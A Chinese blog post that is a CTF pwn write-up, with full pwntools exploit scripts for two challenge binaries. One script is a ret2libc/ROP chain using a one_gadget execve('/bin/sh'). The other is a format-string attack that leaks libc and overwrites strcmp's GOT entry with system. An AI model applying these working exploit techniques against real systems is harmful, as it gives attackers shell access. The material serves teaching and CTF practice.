博客
关于我
ROP;Ret2libc应用详解;CTF-pwn writeup;pwntools,one_gadget应用
阅读量:184 次
发布时间:2019-02-28

本文共 4088 字,大约阅读时间需要 13 分钟。

ROP;Ret2libc应用详解;CTF-pwn writeup;pwntools,one_gadget应用

pwn1

逆向代码分析

int __cdecl main(int argc, const char **argv, const char **envp){
char buf[48]; // [rsp+0h] [rbp-30h] BYREF init();
puts("Show me your code :D");
gets(buf, argv);
return 0;
}

检查保护

$ checksec pwn1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

one_gadget应用

$ one_gadget libc-2.31-dbg.so --near puts
Gadgets near puts(0x76b10):
# puts的偏移0xcbcb1 execve("/bin/sh", r13, r12)
# execve的偏移constraints: [r13] == NULL || r13 == NULL [r12] == NULL || r12 == NULL
# 0xcbcb4 execve("/bin/sh", r13, rdx)
# constraints: [r13] == NULL || r13 == NULL [rdx] == NULL || rdx == NULL
# 0xcbcb7 execve("/bin/sh", rsi, rdx)
# constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL

思路

  • 第一次输入:填充后覆盖返回地址,返回指向puts,利用puts函数输出puts的函数地址。
  • 第二次输入:填充后调用pop_addr清掉r12, r13,返回地址为execve_addr。
  • exp1.py

    from pwn import *
    context(log_level='debug', arch='amd64', os='linux')
    p = process(["./ld-2.31-dbg.so", "./pwn1"], env={ "LD_PRELOAD": "./libc-2.31-dbg.so" })
    elf = ELF("./pwn1")
    puts_got = elf.got['puts']
    puts_plt = elf.plt['puts']
    main_addr = 0x4011db
    rdi_addr = 0x401283
    pop_addr = 0x040127c
    puts_offset = 0x076b10
    execve_offset = 0xcbcb1
    payload1 = b'A' * 0x38
    payload1 += p64(rdi_addr)
    payload1 += p64(puts_got)
    payload1 += p64(puts_plt)
    payload1 += p64(main_addr)
    p.sendline(payload1)
    puts_addr = u64(p.recv(6) + b'\x00' * 2)
    libc_addr = puts_addr - puts_offset
    execve_addr = libc_addr + execve_offset
    payload2 = b'A' * 0x38
    payload2 += p64(pop_addr)
    payload2 += p64(0) * 4
    payload2 += p64(execve_addr)
    p.sendline(payload2)
    p.interactive()

    pwn2_32

    逆向代码分析

    int __cdecl main(int argc, const char **argv, const char **envp){
    __uid_t v3; // ebx
    __uid_t v4; // eax
    int tmp; // [esp+8h] [ebp-74h] BYREF
    char buf[100]; // [esp+Ch] [ebp-70h] BYREF
    unsigned int v8; // [esp+70h] [ebp-Ch]
    int *v9; // [esp+74h] [ebp-8h] BYREF
    v9 = &argc;
    v8 = __readgsdword(0x14u);
    v3 = geteuid();
    v4 = geteuid();
    setreuid(v4, v3);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    tmp = secret;
    puts("Show me your password. ");
    printf("Password: ");
    fgets(buf, 100, stdin);
    if (!strcmp(buf, "sec21.\n"))
    puts("Password OK :)");
    else
    handle_failure(buf);
    if (tmp != secret)
    puts("The secret is modified!\n");
    return 0;
    }
    void __cdecl handle_failure(char *buf){
    char msg[100]; // [esp+18h] [ebp-70h] BYREF
    unsigned int v2; // [esp+7Ch] [ebp-Ch] BYREF
    v2 = __readgsdword(0x14u);
    snprintf(msg, 0x64u, "Invalid Password! %s\n", buf);
    printf(msg);
    }

    思路

  • 第一次输入:利用%n%hn格式字符串修改secret的值,并将putsprintf的地址泄露。
  • 第二次输入:修改strcmp的返回地址,使得程序调用system("/bin/sh")
  • exp2.py

    from pwn import *
    context(log_level='debug', arch='i386', os='linux')
    elf = ELF("./pwn2_32")
    libc = ELF("/usr/lib32/libc-2.31.so")
    p = elf.process()
    puts_got = elf.got['puts']
    printf_got = elf.got['printf']
    strcmp_got = elf.got['strcmp']
    main_addr = elf.symbols['main']
    secret_addr = 0x0804a050
    ret_addr = main_addr + 139 # ret to fgets
    payload1 = b'B' * 2
    payload1 += p32(secret_addr)
    payload1 += p32(puts_got + 2)
    payload1 += p32(puts_got)
    payload1 += p32(printf_got)
    payload1 += b'B' * 2
    payload1 += b"%15$n"
    payload1 += b'%' + str(int((ret_addr >> 16) - 20 - 18)).encode() + b'x'
    payload1 += b"%16$hn"
    payload1 += b'%' + str(int((ret_addr & 0xffff) - (ret_addr >> 16))).encode() + b'x'
    payload1 += b"J%18$s"
    p.sendline(payload1)
    printf_addr = u32(p.recv(4))
    libc_addr = printf_addr - libc.sym['printf']
    system_addr = libc_addr + libc.sym['system']
    payload2 = b'B' * 2
    payload2 += p32(strcmp_got)
    payload2 += p32(strcmp_got + 2)
    payload2 += b'B' * 2
    payload2 += b"%" + str(int((system_addr & 0xffff) - 12 - 18)).encode() + b"x"
    payload2 += b"%15$hn"
    payload2 += b"%" + str(int((system_addr >> 16) - (system_addr & 0xffff))).encode() + b"x"
    payload2 += b"%16$hn"
    p.sendline(payload2)
    p.sendline("/bin/sh")
    p.interactive()

    通过以上详细的分析和步骤,可以成功地利用ROP和Ret2libc技术对目标程序进行攻击,获取控制并获取shell。

    转载地址:http://rfhc.baihongyu.com/

    你可能感兴趣的文章
    Objective-C实现perfect cube完全立方数算法(附完整源码)
    查看>>
    Objective-C实现perfect number完全数算法(附完整源码)
    查看>>
    Objective-C实现perfect square完全平方数算法(附完整源码)
    查看>>
    Objective-C实现permutate Without Repetitions无重复排列算法(附完整源码)
    查看>>
    Objective-C实现PNG图片格式转换BMP图片格式(附完整源码)
    查看>>
    Objective-C实现pollard rho大数分解算法(附完整源码)
    查看>>
    Objective-C实现Polynomials多项式算法 (附完整源码)
    查看>>
    Objective-C实现power iteration幂迭代算法(附完整源码)
    查看>>
    Objective-C实现powLinear函数和powFaster函数算法 (附完整源码)
    查看>>
    Objective-C实现PrimeFactors质因子分解算法 (附完整源码)
    查看>>
    Objective-C实现pythagoras哥拉斯算法(附完整源码)
    查看>>
    Objective-C实现qubit measure量子位测量算法(附完整源码)
    查看>>
    Objective-C实现quick select快速选择算法(附完整源码)
    查看>>
    Objective-C实现radians弧度制算法(附完整源码)
    查看>>
    Objective-C实现radianToDegree弧度到度算法(附完整源码)
    查看>>
    Objective-C实现radix sort基数排序算法(附完整源码)
    查看>>
    Objective-C实现rail fence围栏密码算法(附完整源码)
    查看>>
    Objective-C实现rayleigh quotient瑞利商算法(附完整源码)
    查看>>
    Objective-C实现RC4加解密算法(附完整源码)
    查看>>
    Objective-C实现recursive bubble sor递归冒泡排序算法(附完整源码)
    查看>>